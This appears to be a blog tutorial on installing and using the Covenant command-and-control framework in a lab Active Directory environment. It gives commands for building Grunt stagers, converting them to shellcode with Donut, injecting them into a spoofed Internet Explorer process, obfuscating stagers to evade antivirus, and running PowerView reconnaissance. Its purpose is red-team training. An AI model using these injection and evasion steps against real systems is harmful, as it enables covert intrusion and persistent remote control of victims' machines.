Select Page

In this Covenant C2 tutorial you will need an Active Directory environment see how to create one quickly here. Covenant is the new command and control framework for red team and pentesting engagements. PowerShell Empire is dead and honestly Covenant is already 10x the beast Empire could ever be.

This Covenant C2 tutorial covers how to setup Covenant and will continue to evolve and document all aspects of optimized best practices for using it as the premiere command and control framework.

See Some Other Posts:

Here are some reasons to use the Covenant C2 framework for red team engagements.

  • Dynamically compiles stagers.
  • Offensive security is moving away from PowerShell and relying on native compiling techniques this is the core philosophy of Covenant.
  • Has its own Slack channel!
  • PowerShell Empire is no longer supported.

Here’s What You Need

  • Kali Linux Virtual Machine – VirtualBox
  • Windows 10 64 Bit Virtual Machine – VirtualBox
  • Windows 2016 64 Bit Virtual Machine – VirtualBox
  • Windows Active Directory Accounts: 1 service account (an account with an SPN set), 1 local admin account, one domain admin account.

Installation

The first step to install Covenant is to download the dotnet-sdk.

I can’t find the package! The Microsoft article gives a solution that works, use it as seen below.

This is the way I got it to work.

sudo dpkg --purge packages-microsoft-prod && sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install {the .NET Core package}

After that now we can get the package manager to locate and install the package

sudo apt-get install dotnet-sdk-2.2

And if that does not work as it may not in Kali 2020 then these are the steps.

sudo apt-get install -y gpg
wget -O- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor -o microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget https://packages.microsoft.com/config/ubuntu/19.04/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get install -y apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-2.2

Getting back to the installation for Covenant

$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet build
$ ~/Covenant/Covenant > dotnet run
Covenant/Covenant$ dotnet build && dotnet run

Docker Installation

If you are inclined to you can install Covenant using the Docker image although I don’t find the normal installation to be very difficult.

Covenant/Covenant$ docker build -t covenant .

Adding Encryption

Covenant connections are encrypted by default. Let me say that again, by default network traffic from Covenant is encrypted.

Using a dedicated HTTPS listener/agent setup is used in the context of Covenant for blending into normal traffic to not raise suspicions.

Found a good tutorial for creating a self-signed SSL certificate. We want our command and control framework connections to be encrypted!

openssl req -newkey rsa:4096 \
            -x509 \
            -sha256 \
            -days 3650 \
            -nodes \
            -out example.crt \
            -keyout example.key

Listeners

Covenant listeners are the configured listening interfaces for Covenant to phone back home to once its grunts are active.

The connectivity is extremely fast and reliable in my experience and I did not run into any issues at all in that regard.

Covenant C2 tutorial

There is a trick to listeners and it is to turn off the HTTPS and SSL cert verification settings as well as make sure you set the listener’s ConnectAddress to the ip address of the Kali Linux VM.

Launchers

In the Covenant architecture launchers are used to create grunts. They launch attacks on the targets.

When creating a new launcher there are several options that can be explained by the github page’s documentation.

Here is one for example.

The ValidateCert option determines if the grunt will validate the listener’s SSL certificate to prevent MiTM attacks. There are scenarios where target network proxies can interfere with certificate validation, and it’s preferrable to not validate the certificate. This option is only relavent when using the HTTP CommType, and will only be displayed if you have selected the HTTP CommType.

https://github.com/cobbr/Covenant/wiki/Launchers

Covenant’s launchers are all of the hall of fame modern Windows exploits. MSBuild, PowerShell, InstallUtil, WMIC, Cscript, Regsvr32, etc these are the whitelisted application bypass technique tools that we need to bypass hardened Windows security.

Even that isn’t enough now though and that is why obfuscation is still required.

Although Covenant relies on the user to do on his own. An example of using an obfuscated command through Covenant would be taking the output of generating a new launcher and running it through something like the Donut project.

Getting a Grunt

In order to get a grunt I copied the generated PowerShell launcher command and hosted it on a Python webserver on my Kali VM.

I then opened a cmd terminal on the Windows 10 VM and ran the PowerShell string.

You will have to whitelist the stager in Windows Defender, because it will quarantine it immediately.

Once that is taken care of you should be able to get your first grunt.

Interacting with Grunts

Get the launcher command to run on the victim and get back a new grunt. Interacting with grunts is done through the individual grunt which is now communicating back to the Covenant server.

Running commands is easy.

Use Covenant for Priv Escalation

A popular Windows privilege escalation and further enumeration tool post exploit is named Seatbelt. In this example I have given a command to my new grunt.

Seatbelt’s BasicOSInfo command runs and the output is shown in the terminal.

Grunt Taskings

The Grunt Taskings tab shows the requested tasks given to grunts.

How to Use Donut with Covenant

Donut is a tool you should know about, it’s changed the game a bit. Basically it allows for position-independent shellcode for process injection. Then you can use another tool such as Rastamouse’s injector program that takes donut shellcode as an input.

To build the newest Donut version:

Step 1.

Download Visual Studio 2019 and under get new tools and features make sure you install the c++ command line tool. You need an x64 Native Tools Prompt to build donut.

Step 2.

Get donut. I have preferred to use donut version 0.9.3 which is precompiled in the donut demos repository, get it here.

Step 3.

Open the x64 Native Tools Prompt and navigate to the donut-master folder and build.

Use Donut 0.9.3

Step 1.

Start Covenant and download a binary after setting up a listener and click the “Generate” button then download.

Here are the details for my Grunt if you need help. Make sure to target the 4.0 .NET framework.

Make sure to target the 4.0 .NET framework.

Step 2.

Open a terminal and navigate to the donut-demos-master folder. Run donut on the GruntStager from Covenant. The -a 2 flag means the target build is x64 bit, this is what you want.

Step 3.

Run the donut loader on the instance file. Voila! Sit back and look at the new Grunt.

donut.exe -f GruntStager.exe -a 2
loader.exe instance

This will create a new Grunt in the Covenant console and from here I can either escalate to get to a higher integrity process (more privilege e.g. admin or root privileges).

Alternatives To Compiling Donut

Instead of compiling Donut and deciding which version to use there is a convenient method for creating PIC called donut-maker.py.

Inject A Covenant Stager PIC

In this Covenant C2 tutorial we covered how to use several tools to create PIC Process-Injectable-Code (shellcode) out of the Covenant Grunt Stager.

When you are ready to process inject that shellcode the next steps are really simple thanks to RastaMouse.

  1. PIC your Grunt Stager through donut-maker.py.
  2. Start a new Console Project in Visual Studio 2017 and name it “GruntInjection”. Copy over the Injector Program.
  3. Base64-encode your payload.bin (from Step 1) and paste it into the new C# project and save.
  4. Made an edit to the code by making it a string literal which is done @”base64″.
  5. Build GruntInjection targeting a x64 CPU Configuration (This is important!)
  6. Spawn a new iexplore.exe process by starting a new Internet Explorer.
  7. Run the binary on the target and give it the PID of the running IE process to spoof. We are spoofing a (long term process) not creating one out of thin air!
PS C:\Users\bob.bob> [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("c:\Users\bob.bob\payload.bin")) | clip

Take the base64-encoded string and insert it in the GruntInjection program.

 // Hardcoded Grunt Stager
        public static byte[] gruntStager = Convert.FromBase64String(@"");
C:\Users\bob.bob\source\repos\GruntInjection\GruntInjection\bin\x64\Release>GruntInjection.exe "C:\Program Files\Internet Explorer\iexplore.exe" 2624

Now there should be a new Grunt in your Covenant console.

How To Obfuscate Grunt Stagers

To obfuscate grunts you can run the C# program through obfuscate.py which replaces keywords with less common ones for evading detection by AV.

python3 obfuscate.py gruntstager.cs

Where is gruntstager.cs? By going to Launchers in Covenant their is a Code tab which contains the code for the stager.

From there get the file over to the Windows target and build it with Visual Studio 2017.

How To Import PowerShell Into Covenant

To import PowerShell privilege escalation and recon scripts into Covenant go to the Interact tab on an active Grunt and type in "PowerShellImport".

This will open a file dialog where you choose which script to import.

Once the script is imported you can call its functions, this is an example suing the PowerView.ps1 script.

powershell get-domainuser -identity 'bob.bob'

How To Use Covenant With Evil-WinRM

Curious what that function is in evil-winrm, Donut-Loader?

I can use a convenient script named donut-maker.py to create a Donut payload. This file can then be used by evil-winrm Donut-Loader function.

But first to use Donut Maker I have to download the module using pip3 install donut-shellcode or you will get a message 'module not found'.

Donut-Loader spawns a new process which I specify below. It also takes the donut file I just created as an argument.

This command executes the donut payload and spawns a new grunt in Covenant.

error: